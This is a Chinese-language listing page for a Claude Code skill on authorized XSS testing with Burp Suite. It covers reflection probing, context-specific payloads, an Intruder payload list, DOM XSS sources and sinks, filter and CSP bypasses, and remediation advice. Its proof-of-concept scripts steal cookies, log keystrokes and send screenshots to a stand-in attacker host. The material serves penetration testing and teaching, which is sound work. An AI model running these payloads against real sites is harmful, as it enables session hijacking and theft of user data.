mcpField
T
testing-for-xss-vulnerabilities-with-burpsuite

testing-for-xss-vulnerabilities-with-burpsuite

github.com/mukul975安全35.2k311 次安装8 周前更新
代码仓库

关于 testing-for-xss-vulnerabilities-with-burpsuite

面向授权 Web 应用测试的 Burp Suite Professional 技能,涵盖反射型、存储型和 DOM 型 XSS。内容包括定位输入反射点、测试不同上下文及防护措施,并记录经验证的发现。

主要功能

  1. 01梳理应用输入点和反射位置
  2. 02测试反射型与存储型 XSS
  3. 03用 DOM Invader 跟踪 DOM 型 XSS
  4. 04评估过滤器与 CSP
  5. 05验证影响并记录发现

适用场景

  1. 01开展授权 Web 渗透测试
  2. 02验证扫描器报告的 XSS
  3. 03测试 CSP 和 XSS 过滤器
  4. 04评估 SPA 客户端安全

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-for-xss-vulnerabilities-with-burpsuite

安装后在 Claude Code 中输入/testing-for-xss-vulnerabilities-with-burpsuite确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

使用 Burp Suite 测试 XSS 漏洞

何时使用

  • 在经授权的 Web 应用渗透测试中,用于发现反射型、存储型和基于 DOM 的 XSS
  • 当需要验证自动化漏洞扫描器报告的 XSS 发现时
  • 用于测试内容安全策略(CSP)和 XSS 过滤器的有效性
  • 当评估单页应用(SPA)的客户端安全性时
  • 在针对 XSS 漏洞的漏洞赏金项目中

前提条件

  • 授权:目标应用的书面范围和交战规则
  • Burp Suite Professional:具有主动扫描功能的授权版本
  • 浏览器:已安装 Burp CA 证书的 Firefox 或 Chromium
  • FoxyProxy:配置为通过 Burp 代理(127.0.0.1:8080)路由流量的浏览器扩展
  • 目标应用:使用有效测试凭据的已认证访问
  • XSS payload 列表:自定义词表或 Burp 内置的 XSS payload 集

工作流

第 1 步:配置 Burp Suite 并映射应用

设置代理并抓取应用,以发现所有输入向量。

# Burp Suite Configuration
1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080
2. Target > Scope: Add target domain (e.g., *.target.example.com)
3. Dashboard > New Scan > Crawl only > Select target URL
4. Enable "Passive scanning" in Dashboard settings

# Browser Setup
- Install Burp CA: http://burpsuite → CA Certificate
- Import certificate into browser trust store
- Configure proxy: 127.0.0.1:8080
- Browse the application manually to build the site map
第 2 步:使用 Burp Repeater 识别反射点

将请求发送到 Repeater,并注入唯一的 canary 字符串,以找到用户输入被反射的位置。

# In Burp Repeater, inject a unique canary string into each parameter:
GET /search?q=xsscanary12345 HTTP/1.1
Host: target.example.com

# Check the response for reflections of the canary:
# Search response body for "xsscanary12345"
# Note the context: HTML body, attribute, JavaScript, URL, etc.

# Test multiple injection contexts:
# HTML body: <p>Results for: xsscanary12345</p>
# Attribute: <input value="xsscanary12345">
# JavaScript: var search = "xsscanary12345";
# URL context: <a href="/page?q=xsscanary12345">

# Test with HTML special characters to check encoding:
GET /search?q=xss<>"'&/ HTTP/1.1
Host: target.example.com
# Check which characters are reflected unencoded
第 3 步:使用针对上下文的 payload 测试反射型 XSS

根据反射上下文,构造有针对性的 XSS payload。

# HTML Body Context - Basic payload
GET /search?q=<script>alert(document.domain)</script> HTTP/1.1
Host: target.example.com

# HTML Attribute Context - Break out of attribute
GET /search?q=" onfocus=alert(document.domain) autofocus=" HTTP/1.1
Host: target.example.com

# JavaScript String Context - Break out of string
GET /search?q=';alert(document.domain)// HTTP/1.1
Host: target.example.com

# Event Handler Context - Use alternative events
GET /search?q=<img src=x onerror=alert(document.domain)> HTTP/1.1
Host: target.example.com

# SVG Context
GET /search?q=<svg onload=alert(document.domain)> HTTP/1.1
Host: target.example.com

# If angle brackets are filtered, try encoding:
GET /search?q=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: target.example.com
第 4 步:通过 Burp Intruder 测试存储型 XSS

使用 Burp Intruder 在评论、个人资料和消息等输入字段中测试存储型 XSS。

# Burp Intruder Configuration:
# 1. Right-click request > Send to Intruder
# 2. Positions tab: Mark the injectable parameter
# 3. Payloads tab: Load XSS payload list

# Example payload list for Intruder:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
"><img src=x onerror=alert(1)>
'-alert(1)-'
\'-alert(1)//

# In Intruder > Options > Grep - Match:
# Add patterns: "alert(1)", "onerror=", "<script>"
# This flags responses where payloads are reflected/stored
第 5 步:测试基于 DOM 的 XSS

使用 Burp 的 DOM Invader 识别不安全地处理用户输入的客户端 JavaScript。

# Enable DOM Invader in Burp's embedded browser:
# 1. Open Burp's embedded Chromium browser
# 2. Click DOM Invader extension icon > Enable
# 3. Set canary value (e.g., "domxss")

# Common DOM XSS sinks to monitor:
# - document.write()
# - innerHTML
# - outerHTML
# - eval()
# - setTimeout() / setInterval() with string args
# - location.href / location.assign()
# - jQuery .html() / .append()

# Common DOM XSS sources:
# - location.hash
# - location.search
# - document.referrer
# - window.name
# - postMessage data

# Test URL fragment-based DOM XSS:
https://target.example.com/page#<img src=x onerror=alert(1)>

# Test via document.referrer:
# Create a page that links to the target with XSS in the referrer
第 6 步:绕过 XSS 过滤器和 CSP

当基本 payload 被阻止时,使用高级技术绕过防护。

# CSP Analysis - Check response headers:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com

# Common CSP bypasses:
# If 'unsafe-inline' is allowed:
<script>alert(document.domain)</script>

# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com):
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Filter bypass techniques:
# Case variation: <ScRiPt>alert(1)</ScRiPt>
# Null bytes: <scr%00ipt>alert(1)</script>
# Double encoding: %253Cscript%253Ealert(1)%253C/script%253E
# HTML entities: <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
# Unicode escapes: <script>\u0061lert(1)</script>

# Use Burp Suite > BApp Store > Install "Hackvertor"
# Encode payloads with Hackvertor tags:
# <@hex_entities>alert(document.domain)<@/hex_entities>
第 7 步:验证影响并记录发现

确认可利用性并记录完整的攻击链。

# Proof of Concept payload that demonstrates real impact:
# Cookie theft:
<script>
fetch('https://attacker-server.example.com/steal?c='+document.cookie)
</script>

# Session hijacking via XSS:
<script>
new Image().src='https://attacker-server.example.com/log?cookie='+document.cookie;
</script>

# Keylogger payload (demonstrates impact severity):
<script>
document.onkeypress=function(e){
  fetch('https://attacker-server.example.com/keys?k='+e.key);
}
</script>

# Screenshot capture using html2canvas (stored XSS impact):
<script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
<script>
html2canvas(document.body).then(function(canvas){
  fetch('https://attacker-server.example.com/screen',{
    method:'POST',body:canvas.toDataURL()
  });
});
</script>

# Document each finding with:
# - URL and parameter
# - Payload used
# - Screenshot of alert/execution
# - Impact assessment
# - Reproduction steps

关键概念

概念描述
反射型 XSSPayload 直接从当前 HTTP 请求包含在服务器响应中
存储型 XSSPayload 持久化在服务器上(数据库、文件),并提供给其他用户
基于 DOM 的 XSSPayload 完全由 JavaScript 在客户端处理,没有服务器反射
XSS Sink执行或呈现不可信输入的 JavaScript 函数或 DOM 属性
XSS Source攻击者控制的数据进入客户端应用的位置
CSP内容安全策略头,限制页面上可以执行哪些脚本
上下文感知编码根据输出上下文应用正确的编码(HTML、JS、URL、CSS)
变异 XSS(mXSS)利用 DOM 序列化期间浏览器 HTML 解析器不一致性的 XSS

工具与系统

工具用途
Burp Suite Professional主要测试平台,包含扫描器、intruder、repeater 和 DOM Invader
DOM InvaderBurp 内置的浏览器扩展,用于 DOM XSS 测试
Hackvertor用于高级 payload 编码和转换的 Burp BApp
XSS Hunter捕获执行证据的盲 XSS 检测平台
Dalfox基于命令行的 XSS 扫描器,具有参数分析功能(go install github.com/hahwul/dalfox/v2@latest)
CSP Evaluator用于分析内容安全策略有效性的 Google 工具

常见场景

场景 1:搜索功能反射型 XSS

搜索页面在结果标题中反射查询参数,且未进行编码。在搜索参数中注入 <script>alert(document.domain)</script>,并通过反射型 XSS 演示 cookie 窃取。

场景 2:评论系统存储型 XSS

博客评论表单会清理 <script> 标签,但允许 <img> 标签。使用 <img src=x onerror=alert(document.domain)> 实现存储型 XSS,使每个加载页面的访问者都会触发。

场景 3:带基于 DOM 的 XSS 的 SPA

一个 React/Angular SPA 读取 window.location.hash 并通过 innerHTML 将其注入 DOM。使用 DOM Invader 追踪从源到汇的流程,并在 URL 片段中构造 payload。

场景 4:绕过带严格 CSP 的 WAF 的 XSS

WAF 拦截常见的 XSS 模式,CSP 限制内联脚本。在列入白名单的域上发现一个 JSONP 端点,并将其用作脚本 gadget 以绕过 CSP。

输出格式

## XSS Vulnerability Finding

**Vulnerability**: Stored Cross-Site Scripting (XSS)
**Severity**: High (CVSS 8.1)
**Location**: POST /api/comments → `body` parameter
**Type**: Stored XSS
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Navigate to https://target.example.com/blog/post/123
2. Submit a comment with body: <img src=x onerror=alert(document.domain)>
3. Reload the page; the payload executes in the browser

### Impact
- Session hijacking via cookie theft for all users viewing the page
- Account takeover through session token exfiltration
- Defacement of the blog post page
- Phishing via injected login forms

### CSP Status
- No Content-Security-Policy header present
- X-XSS-Protection header not set

### Recommendation
1. Implement context-aware output encoding (HTML entity encoding for HTML context)
2. Deploy Content Security Policy with strict nonce-based script allowlisting
3. Use DOMPurify library for sanitizing user-generated HTML content
4. Set HttpOnly and Secure flags on session cookies
5. Add X-Content-Type-Options: nosniff header

评论

支持 Markdown